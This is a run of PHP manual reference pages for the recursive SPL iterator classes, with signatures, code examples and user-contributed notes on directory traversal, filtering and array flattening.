public string CallbackFilterIterator::accept ( void )
}

Examples

The callback should accept up to three arguments: the current item, the current key and the iterator, respectively.

Example #1 Available callback arguments

<?php

/**
 * Callback for RecursiveCallbackFilterIterator
 *
 * @param $current   Current item's value
 * @param $key       Current item's key
 * @param $iterator  Iterator being filtered
 * @return boolean   TRUE to accept the current item, FALSE otherwise
 */
function my_callback($current, $key, $iterator) {
    // Your filtering code here
}

?>

Filtering a recursive iterator generally involves two conditions. The first is that, to allow recursion, the callback function should return TRUE if the current iterator item has children. The second is the normal filter condition, such as a file size or extension check as in the example below.

Example #2 Recursive callback basic example

<?php

$dir = new FilesystemIterator(__DIR__);

// Filter large files ( > 100MB)
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
    // Allow recursion
    if ($iterator->hasChildren()) {
        return TRUE;
    }
    // Check for large file
    if ($current->isFile() && $current->getSize() > 104857600) {
        return TRUE;
    }
    return FALSE;
});

foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}

?>

Table of Contents

  • RecursiveCallbackFilterIterator::__construct — Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::hasChildren — Check whether the inner iterator's current element has children

User Contributed Notes

Anonymous 11-Dec-2011 01:31
Note that the following filters out both files and directories whos names start with the letter "T". The important thing here is that since the function returns false for a directory entry whos name starts with T, the directory is also not traversed recursively.

<?php
$doesntStartWithLetterT = function ($current) {
    return $current->getFileName()[0] !== 'T';
};

$rdi = new RecursiveDirectoryIterator(__DIR__);
$files = new RecursiveCallbackFilterIterator($rdi, $doesntStartWithLetterT);
foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}
?>
RecursiveCachingIterator::hasChildren
RecursiveCallbackFilterIterator::__construct
Iterators


Create a RecursiveCallbackFilterIterator from a RecursiveIterator

RecursiveCallbackFilterIterator
RecursiveCallbackFilterIterator::getChildren
RecursiveCallbackFilterIterator
PHP Manual

RecursiveCallbackFilterIterator::__construct

(PHP 5 >= 5.4.0)

RecursiveCallbackFilterIterator::__construct — Create a RecursiveCallbackFilterIterator from a RecursiveIterator

Description

public RecursiveCallbackFilterIterator::__construct() ( RecursiveIterator $iterator , string $callback )

Creates a filtered iterator from a RecursiveIterator using the callback to determine which items are accepted or rejected.

Parameters

iterator

The recursive iterator to be filtered.

callback

The callback, which should return TRUE to accept the current item or FALSE otherwise. See Examples.

May be any valid callback value.

Return Values

No value is returned.

See Also

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.
RecursiveCallbackFilterIterator
RecursiveCallbackFilterIterator::getChildren
RecursiveCallbackFilterIterator


Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

RecursiveCallbackFilterIterator::__construct
RecursiveCallbackFilterIterator::hasChildren
RecursiveCallbackFilterIterator
PHP Manual

RecursiveCallbackFilterIterator::getChildren

(PHP 5 >= 5.4.0)

RecursiveCallbackFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

Description

public RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator::getChildren ( void )

Fetches the filtered children of the inner iterator.

RecursiveCallbackFilterIterator::hasChildren() should be used to determine if there are children to be fetched.

Parameters

This function has no parameters.

Return Values

Returns a RecursiveCallbackFilterIterator containing the children.

See Also

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::__construct() - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.
RecursiveCallbackFilterIterator::__construct
RecursiveCallbackFilterIterator::hasChildren
RecursiveCallbackFilterIterator


Check whether the inner iterator's current element has children

RecursiveCallbackFilterIterator::getChildren
RecursiveDirectoryIterator
RecursiveCallbackFilterIterator
PHP Manual

RecursiveCallbackFilterIterator::hasChildren

(PHP 5 >= 5.4.0)

RecursiveCallbackFilterIterator::hasChildren — Check whether the inner iterator's current element has children

Description

public void RecursiveCallbackFilterIterator::hasChildren ( void )

Returns TRUE if the current element has children, FALSE otherwise.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current element has children, FALSE otherwise.

Examples

Example #1 RecursiveCallbackFilterIterator::hasChildren() basic usage

<?php

$dir = new FilesystemIterator(__DIR__);

// Recursively iterate over XML files
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
    // Allow recursion into directories
    if ($iterator->hasChildren()) {
        return TRUE;
    }
    // Check for XML file
    if (!strcasecmp($current->getExtension(), 'xml')) {
        return TRUE;
    }
    return FALSE;
});

?>

See Also

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::__construct() - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilteriterator::getChildren() - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

User Contributed Notes

There are no user contributed notes for this page.
RecursiveCallbackFilterIterator::getChildren
RecursiveDirectoryIterator
RecursiveCallbackFilterIterator


The RecursiveDirectoryIterator class

(PHP 5)

Introduction

The RecursiveDirectoryIterator provides an interface for iterating recursively over filesystem directories.

Class synopsis

RecursiveDirectoryIterator extends FilesystemIterator implements Traversable , Iterator , SeekableIterator , RecursiveIterator {
/* Methods */
public __construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
public mixed getChildren ( void )
public string getSubPath ( void )
public string getSubPathname ( void )
public bool hasChildren ([ bool $allow_links ] )
public string key ( void )
public void next ( void )
public void rewind ( void )
/* Inherits */
public FilesystemIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )
public mixed FilesystemIterator::current ( void )
public int FilesystemIterator::getFlags ( void )
public string FilesystemIterator::key ( void )
public void FilesystemIterator::next ( void )
public void FilesystemIterator::rewind ( void )
public void FilesystemIterator::setFlags ([ int $flags ] )
}

Changelog

Version | Description
5.3.0 | The FilesystemIterator was introduced as the parent class. Previously, the parent was the DirectoryIterator.
5.3.0 | Implements SeekableIterator.
5.2.11, 5.3.1 | Added RecursiveDirectoryIterator::FOLLOW_SYMLINKS

Table of Contents

  • RecursiveDirectoryIterator::__construct — Constructs a RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory
  • RecursiveDirectoryIterator::getSubPath — Get sub path
  • RecursiveDirectoryIterator::getSubPathname — Get sub path and name
  • RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..'
  • RecursiveDirectoryIterator::key — Return path and filename of current dir entry
  • RecursiveDirectoryIterator::next — Move to next entry
  • RecursiveDirectoryIterator::rewind — Rewind dir back to the start

User Contributed Notes

joelhy 22-Feb-2011 07:39
Here is how to empty a directory using iterator:
<?php
function empty_dir($dir) {
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir),
                                              RecursiveIteratorIterator::CHILD_FIRST);
    foreach ($iterator as $path) {
      if ($path->isDir()) {
         rmdir($path->__toString());
      } else {
         unlink($path->__toString());
      }
    }
//    rmdir($dir);
}
?>
antennen 02-Jan-2011 09:40
If you use RecursiveDirectoryIterator with RecursiveIteratorIterator and run into UnexpectedValueException you may use this little hack to ignore those directories, such as lost+found on linux.

<?php
class IgnorantRecursiveDirectoryIterator extends RecursiveDirectoryIterator {
    function getChildren() {
        try {
            return parent::getChildren();
        } catch(UnexpectedValueException $e) {
            return new RecursiveArrayIterator(array());
        }
    }
}
?>

Use just like the normal RecursiveDirectoryIterator.
Thriault 09-Apr-2010 12:05
If you would like to get, say, all the *.php files in your project folder, recursively, you could use the following:

<?php

$Directory = new RecursiveDirectoryIterator('path/to/project/');
$Iterator = new RecursiveIteratorIterator($Directory);
$Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH);

?>

$Regex will contain a single index array for each PHP file.
megar 15-Jul-2009 01:57
Usage example:
To see all the files, and count the space usage:

<?php
$ite=new RecursiveDirectoryIterator("/path/");

$bytestotal=0;
$nbfiles=0;
foreach (new RecursiveIteratorIterator($ite) as $filename=>$cur) {
    $filesize=$cur->getSize();
    $bytestotal+=$filesize;
    $nbfiles++;
    echo "$filename => $filesize\n";
}

$bytestotal=number_format($bytestotal);
echo "Total: $nbfiles files, $bytestotal bytes\n";
?>
Justin Deltener 10-Jun-2009 09:45
If you don't get a fully recursive listing, remember to check your permissions on the folders. I just spent 2 hours to find out my root folder didn't have +x on it. I did a chmod g+x and now get a full listing. Oddly, I was able to get a listing of files/folders one level UNDER that folder, but nothing beyond that point which was cause for the confusion.
alvaro at demogracia dot com 18-Sep-2008 08:15
Usage example:

<?php

$path = realpath('/etc');

$objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::SELF_FIRST);
foreach($objects as $name => $object){
    echo "$name\n";
}

?>

This prints a list of all files and directories under $path (including $path ifself). If you want to omit directories, remove the RecursiveIteratorIterator::SELF_FIRST part.
RecursiveCallbackFilterIterator::hasChildren
RecursiveDirectoryIterator::__construct
Iterators


Constructs a RecursiveDirectoryIterator

RecursiveDirectoryIterator
RecursiveDirectoryIterator::getChildren
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::__construct

(PHP 5 >= 5.1.2)

RecursiveDirectoryIterator::__construct — Constructs a RecursiveDirectoryIterator

Description

public RecursiveDirectoryIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

Constructs a RecursiveDirectoryIterator() for the provided path.

Parameters

path

The path of the directory to be iterated over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under FilesystemIterator predefined constants. They can also be set later with FilesystemIterator::setFlags().

Return Values

Returns the newly created RecursiveDirectoryIterator.

Errors/Exceptions

Throws an UnexpectedValueException if the path cannot be found or is not a directory.

Examples

Example #1 RecursiveDirectoryIterator example

<?php

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

while($it->valid()) {

    if (!$it->isDot()) {
        echo 'SubPathName: ' . $it->getSubPathName() . "\n";
        echo 'SubPath:     ' . $it->getSubPath() . "\n";
        echo 'Key:         ' . $it->key() . "\n\n";
    }

    $it->next();
}

?>

The above example will output something similar to:

SubPathName: fruit/apple.xml
SubPath:     fruit
Key:         /tmp/fruit/apple.xml

SubPathName: stuff.xml
SubPath:
Key:         /tmp/stuff.xml

SubPathName: veggies/carrot.xml
SubPath:     veggies
Key:         /tmp/veggies/carrot.xml

See Also

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • RecursiveIteratorIterator::__construct() - Construct a RecursiveIteratorIterator
  • FilesystemIterator predefined constants

User Contributed Notes

pedro dot matamouros at gmail dot com 17-Sep-2010 05:43
You can use RecursiveDirectoryIterator::FOLLOW_SYMLINK as a flag to the constructor to have RecursiveDirectoryIterator follow symlinks, which it does not do by default.
RecursiveDirectoryIterator
RecursiveDirectoryIterator::getChildren
RecursiveDirectoryIterator


Returns an iterator for the current entry if it is a directory

RecursiveDirectoryIterator::__construct
RecursiveDirectoryIterator::getSubPath
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory

Description

public mixed RecursiveDirectoryIterator::getChildren ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The filename, file information, or $this depending on the set flags. See the FilesystemIterator constants.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveDirectoryIterator::__construct
RecursiveDirectoryIterator::getSubPath
RecursiveDirectoryIterator


Get sub path

RecursiveDirectoryIterator::getChildren
RecursiveDirectoryIterator::getSubPathname
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::getSubPath

(PHP 5 >= 5.1.0)

RecursiveDirectoryIterator::getSubPath — Get sub path

Description

public string RecursiveDirectoryIterator::getSubPath ( void )

Gets the sub path.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The sub path (sub directory).

See Also

  • RecursiveDirectoryIterator::getSubPathName() - Get sub path and name
  • RecursiveDirectoryIterator::key() - Return path and filename of current dir entry

User Contributed Notes

There are no user contributed notes for this page.
RecursiveDirectoryIterator::getChildren
RecursiveDirectoryIterator::getSubPathname
RecursiveDirectoryIterator


Get sub path and name

RecursiveDirectoryIterator::getSubPath
RecursiveDirectoryIterator::hasChildren
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::getSubPathname

(PHP 5 >= 5.1.0)

RecursiveDirectoryIterator::getSubPathname — Get sub path and name

Description

public string RecursiveDirectoryIterator::getSubPathname ( void )

Gets the sub path and filename.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The sub path (sub directory) and filename.

See Also

  • RecursiveDirectoryIterator::getSubPath() - Get sub path
  • RecursiveDirectoryIterator::key() - Return path and filename of current dir entry

User Contributed Notes

info at diy-cms dot com 29-Apr-2011 04:50
In case you run into a cross-platform issue when retrieving the sub-path , use FilesystemIterator::UNIX_PATHS flag to fix it
RecursiveDirectoryIterator::getSubPath
RecursiveDirectoryIterator::hasChildren
RecursiveDirectoryIterator


Returns whether current entry is a directory and not '.' or '..'

RecursiveDirectoryIterator::getSubPathname
RecursiveDirectoryIterator::key
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::hasChildren

(PHP 5)

RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..'

Description

public bool RecursiveDirectoryIterator::hasChildren ([ bool $allow_links ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

allow_links

Return Values

Returns whether the current entry is a directory, but not '.' or '..'

User Contributed Notes

There are no user contributed notes for this page.
RecursiveDirectoryIterator::getSubPathname
RecursiveDirectoryIterator::key
RecursiveDirectoryIterator


Return path and filename of current dir entry

RecursiveDirectoryIterator::hasChildren
RecursiveDirectoryIterator::next
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::key

(PHP 5)

RecursiveDirectoryIterator::key — Return path and filename of current dir entry

Description

public string RecursiveDirectoryIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The path and filename of the current dir entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveDirectoryIterator::hasChildren
RecursiveDirectoryIterator::next
RecursiveDirectoryIterator


Move to next entry

RecursiveDirectoryIterator::key
RecursiveDirectoryIterator::rewind
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::next

(PHP 5)

RecursiveDirectoryIterator::next — Move to next entry

Description

public void RecursiveDirectoryIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveDirectoryIterator::key
RecursiveDirectoryIterator::rewind
RecursiveDirectoryIterator


Rewind dir back to the start

RecursiveDirectoryIterator::next
RecursiveFilterIterator
RecursiveDirectoryIterator
PHP Manual

RecursiveDirectoryIterator::rewind

(PHP 5)

RecursiveDirectoryIterator::rewind — Rewind dir back to the start

Description

public void RecursiveDirectoryIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveDirectoryIterator::next
RecursiveFilterIterator
RecursiveDirectoryIterator


The RecursiveFilterIterator class

(PHP 5 >= 5.1.0)

Introduction

This abstract iterator filters out unwanted values for a RecursiveIterator. This class should be extended to implement custom filters. The RecursiveFilterIterator::accept() must be implemented in the subclass.

Class synopsis

RecursiveFilterIterator extends FilterIterator implements Iterator , Traversable , OuterIterator , RecursiveIterator {
/* Methods */
public __construct ( RecursiveIterator $iterator )
public void getChildren ( void )
public void hasChildren ( void )
/* Inherited methods */
abstract bool FilterIterator::accept ( void )
FilterIterator::__construct ( Iterator $iterator )
mixed FilterIterator::current ( void )
Iterator FilterIterator::getInnerIterator ( void )
mixed FilterIterator::key ( void )
void FilterIterator::next ( void )
void FilterIterator::rewind ( void )
bool FilterIterator::valid ( void )
}

Table of Contents

  • RecursiveFilterIterator::__construct — Create a RecursiveFilterIterator from a RecursiveIterator
  • RecursiveFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren — Check whether the inner iterator's current element has children

User Contributed Notes

lemats 05-May-2011 10:14
Recursive directory/file listing, filteres ".svn":

<?php

class MyRecursiveFilterIterator extends RecursiveFilterIterator {

    public static $FILTERS = array(
        '.svn',
    );

    public function accept() {
        return !in_array(
            $this->current()->getFilename(),
            self::$FILTERS,
            true
        );
    }

}

$dirItr    = new RecursiveDirectoryIterator('/sample/path');
$filterItr = new MyRecursiveFilterIterator($dirItr);
$itr       = new RecursiveIteratorIterator($filterItr, RecursiveIteratorIterator::SELF_FIRST);
foreach ($itr as $filePath => $fileInfo) {
    echo $fileInfo->getFilename() . PHP_EOL;
}

?>
Russell Dias 28-Sep-2010 06:38
I had to create a filter to get values greater than a certain number in a multidimensional array.

Hope someone else finds it helpful:

<?php
class GreaterThanFilter extends RecursiveFilterIterator {
    protected $limit;

    public function __construct(RecursiveIterator $recursiveIter, $limit) {
        $this->limit = $limit;
        parent::__construct($recursiveIter);
    }
    public function accept() {
        return $this->hasChildren() || strlen($this->current()) >= $this->limit;
    }
     public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->limit);
    }
}
$iter = new RecursiveArrayIterator($array);
$filter   = new GreaterThanFilter($iter, 5);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>
RecursiveDirectoryIterator::rewind
RecursiveFilterIterator::__construct
Iterators


Create a RecursiveFilterIterator from a RecursiveIterator

RecursiveFilterIterator
RecursiveFilterIterator::getChildren
RecursiveFilterIterator
PHP Manual

RecursiveFilterIterator::__construct

(PHP 5 >= 5.1.0)

RecursiveFilterIterator::__construct — Create a RecursiveFilterIterator from a RecursiveIterator

Description

public RecursiveFilterIterator::__construct ( RecursiveIterator $iterator )

Create a RecursiveFilterIterator from a RecursiveIterator.

Parameters

iterator

The RecursiveIterator to be filtered.

Return Values

No value is returned.

Examples

Example #1 Basic RecursiveFilterIterator() example

<?php
class TestsOnlyFilter extends RecursiveFilterIterator {
    public function accept() {
        // Accept the current item if we can recurse into it
        // or it is a value starting with "test"
        return $this->hasChildren() || (strpos($this->current(), "test") !== FALSE);
    }
}

$arrary   = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter   = new TestsOnlyFilter($iterator);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>

The above example will output something similar to:

test1
test3
test4
test5

Example #2 RecursiveFilterIterator() example

<?php
class StartsWithFilter extends RecursiveFilterIterator {

    protected $word;

    public function __construct(RecursiveIterator $rit, $word) {
        $this->word = $word;
        parent::__construct($rit);
    }

    public function accept() {
        return $this->hasChildren() OR strpos($this->current(), $this->word) === 0;
    }

    public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->word);
    }
}

$array    = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter   = new StartsWithFilter($iterator, "test");

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>

The above example will output something similar to:

test1
test3
test4
test5

See Also

  • RecursiveFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren() - Check whether the inner iterator's current element has children
  • FilterIterator::accept() - Check whether the current element of the iterator is acceptable

User Contributed Notes

There are no user contributed notes for this page.
RecursiveFilterIterator
RecursiveFilterIterator::getChildren
RecursiveFilterIterator


Return the inner iterator's children contained in a RecursiveFilterIterator

RecursiveFilterIterator::__construct
RecursiveFilterIterator::hasChildren
RecursiveFilterIterator
PHP Manual

RecursiveFilterIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveFilterIterator

Description

public void RecursiveFilterIterator::getChildren ( void )

Return the inner iterator's children contained in a RecursiveFilterIterator.

Parameters

This function has no parameters.

Return Values

Returns a RecursiveFilterIterator containing the inner iterator's children.

See Also

  • RecursiveFilterIterator::hasChildren() - Check whether the inner iterator's current element has children
  • RecursiveIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveFilterIterator::__construct
RecursiveFilterIterator::hasChildren
RecursiveFilterIterator


Check whether the inner iterator's current element has children

RecursiveFilterIterator::getChildren
RecursiveIteratorIterator
RecursiveFilterIterator
PHP Manual

RecursiveFilterIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveFilterIterator::hasChildren — Check whether the inner iterator's current element has children

Description

public void RecursiveFilterIterator::hasChildren ( void )

Check whether the inner iterator's current element has children.

Parameters

This function has no parameters.

Return Values

TRUE if the inner iterator has children, otherwise FALSE

See Also

  • RecursiveFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveIterator::hasChildren() - Returns if an iterator can be created fot the current entry.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveFilterIterator::getChildren
RecursiveIteratorIterator
RecursiveFilterIterator


The RecursiveIteratorIterator class

(PHP 5)

Introduction

Can be used to iterate through recursive iterators.

Class synopsis

RecursiveIteratorIterator implements OuterIterator , Traversable , Iterator {
/* Methods */
public void beginChildren ( void )
public void beginIteration ( void )
public RecursiveIterator callGetChildren ( void )
public bool callHasChildren ( void )
public __construct ( Traversable $iterator [, int $mode = RecursiveIteratorIterator::LEAVES_ONLY [, int $flags = 0 ]] )
public mixed current ( void )
public void endChildren ( void )
public void endIteration ( void )
public int getDepth ( void )
public iterator getInnerIterator ( void )
public mixed getMaxDepth ( void )
public RecursiveIterator getSubIterator ( void )
public mixed key ( void )
public void next ( void )
public void nextElement ( void )
public void rewind ( void )
public void setMaxDepth ([ string $max_depth = -1 ] )
public bool valid ( void )
/* Inherited methods */
public Iterator OuterIterator::getInnerIterator ( void )
}

Table of Contents

  • RecursiveIteratorIterator::beginChildren — Begin children
  • RecursiveIteratorIterator::beginIteration — Begin Iteration
  • RecursiveIteratorIterator::callGetChildren — Get children
  • RecursiveIteratorIterator::callHasChildren — Has children
  • RecursiveIteratorIterator::__construct — Construct a RecursiveIteratorIterator
  • RecursiveIteratorIterator::current — Access the current element value
  • RecursiveIteratorIterator::endChildren — End children
  • RecursiveIteratorIterator::endIteration — End Iteration
  • RecursiveIteratorIterator::getDepth — Get the current depth of the recursive iteration
  • RecursiveIteratorIterator::getInnerIterator — Get inner iterator
  • RecursiveIteratorIterator::getMaxDepth — Get max depth
  • RecursiveIteratorIterator::getSubIterator — The current active sub iterator
  • RecursiveIteratorIterator::key — Access the current key
  • RecursiveIteratorIterator::next — Move forward to the next element
  • RecursiveIteratorIterator::nextElement — Next element
  • RecursiveIteratorIterator::rewind — Rewind the iterator to the first element of the top level inner iterator
  • RecursiveIteratorIterator::setMaxDepth — Set max depth
  • RecursiveIteratorIterator::valid — Check whether the current position is valid

User Contributed Notes

Adil Baig @ AIdezigns 23-Jun-2011 11:17
A very important thing to note about \RecursiveIteratorIterator is that it returns a flattened array when used with the iterator_to_array function. Ex:

<?php
$arr = array('Zero', 'name'=>'Adil', 'address' => array( 'city'=>'Dubai', 'tel' => array('int' => 971, 'tel'=>12345487)), '' => 'nothing');

$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));
var_dump(iterator_to_array($iterator,true));
?>

This code will return :

array(6) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["city"]=>
  string(5) "Dubai"
  ["int"]=>
  int(91)
  ["tel"]=>
  int(12345487)
  [""]=>
  string(7) "nothing"
}

To get the non-flattened proper array use the getArrayCopy() method, like so :

$iterator->getArrayCopy()

This will return

array(4) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["address"]=>
  array(2) {
    ["city"]=>
    string(5) "Dubai"
    ["tel"]=>
    array(2) {
      ["int"]=>
      int(91)
      ["tel"]=>
      int(12345487)
    }
  }
  [""]=>
  string(7) "nothing"
}
Tom 06-Jan-2011 01:35
This class operates on a tree of elements, which is build by nesting recursive iterators into one another.

Thus you might say it is an iterator over iterators. While traversing those, the class pushes the iterators on a stack while traversing down to a leaf and removes them from the stack while going back up.
aidan at php dot net 29-Apr-2010 09:57
This example demonstrates using the getDepth() method with a RecursiveArrayIterator.

<?php
$tree = array();
$tree[1][2][3] = 'lemon';
$tree[1][4] = 'melon';
$tree[2][3] = 'orange';
$tree[2][5] = 'grape';
$tree[3] = 'pineapple';

print_r($tree);

$arrayiter = new RecursiveArrayIterator($tree);
$iteriter = new RecursiveIteratorIterator($arrayiter);

foreach ($iteriter as $key => $value) {
  $d = $iteriter->getDepth();
  echo "depth=$d k=$key v=$value\n";
}
?>

The output of this would be:

Array
(
    [1] => Array
        (
            [2] => Array
                (
                    [3] => lemon
                )

            [4] => melon
        )

    [2] => Array
        (
            [3] => orange
            [5] => grape
        )

    [3] => pineapple
)

depth=2 k=3 v=lemon
depth=1 k=4 v=melon
depth=1 k=3 v=orange
depth=1 k=5 v=grape
depth=0 k=3 v=pineapple
Michiel Brandenburg 14-Jun-2009 04:40
You can use this to quickly find all the files (recursively) in a certain directory. This beats maintaining a stack yourself.
<?php
$directory = "/tmp/";
$fileSPLObjects =  new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($directory),
                RecursiveIteratorIterator::CHILD_FIRST
            );
try {
    foreach( $fileSPLObjects as $fullFileName => $fileSPLObject ) {
        print $fullFileName . " " . $fileSPLObject->getFilename() . "\n";
    }
}
catch (UnexpectedValueException $e) {
    printf("Directory [%s] contained a directory we can not recurse into", $directory);
}
?>
Note: if there is a directory contained within the directory you are searching in that you have no access to read an UnexpectedValueException will be thrown (leaving you with an empty list).
Note: objects returned are SPLFileObjects
crashrox at gmail dot com 19-Dec-2008 09:51
Recursive multidimensional array flatten using SPL

<?php
function array_flatten_recursive($array) {
    if($array) {
        $flat = array();
        foreach(new RecursiveIteratorIterator(new RecursiveArrayIterator($array), RecursiveIteratorIterator::SELF_FIRST) as $key=>$value) {
            if(!is_array($value)) {
                $flat[] = $value;
            }
        }

        return $flat;
    } else {
        return false;
    }
}

$array = array(
    'A' => array('B' => array( 1, 2, 3, 4, 5)),
    'C' => array( 6,7,8,9)
);

print_r(array_flatten_recursive($array));
?>
-- Returns:
Array (
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
)
RecursiveFilterIterator::hasChildren
RecursiveIteratorIterator::beginChildren
Iterators


Begin children

RecursiveIteratorIterator
RecursiveIteratorIterator::beginIteration
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::beginChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::beginChildren — Begin children

Description

public void RecursiveIteratorIterator::beginChildren ( void )

Is called after calling RecursiveIteratorIterator::getChildren(), and its associated RecursiveIteratorIterator::rewind().

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator
RecursiveIteratorIterator::beginIteration
RecursiveIteratorIterator


Begin Iteration

RecursiveIteratorIterator::beginChildren
RecursiveIteratorIterator::callGetChildren
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::beginIteration

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::beginIteration — Begin Iteration

Description

public void RecursiveIteratorIterator::beginIteration ( void )

Called when iteration begins (after the first RecursiveIteratorIterator::rewind() call.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::beginChildren
RecursiveIteratorIterator::callGetChildren
RecursiveIteratorIterator


Get children

RecursiveIteratorIterator::beginIteration
RecursiveIteratorIterator::callHasChildren
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::callGetChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::callGetChildren — Get children

Description

public RecursiveIterator RecursiveIteratorIterator::callGetChildren ( void )

Get children of the current element.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

A RecursiveIterator().

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::beginIteration
RecursiveIteratorIterator::callHasChildren
RecursiveIteratorIterator


Has children

RecursiveIteratorIterator::callGetChildren
RecursiveIteratorIterator::__construct
RecursiveIteratorIterator
PHP Manual

RecursiveIteratorIterator::callHasChildren

(PHP 5 >= 5.1.0)

RecursiveIteratorIterator::callHasChildren — Has children

Description

public bool RecursiveIteratorIterator::callHasChildren ( void )

Called for each element to test whether it has children.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the element has children, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
RecursiveIteratorIterator::callGetChildren
RecursiveIteratorIterator::__construct
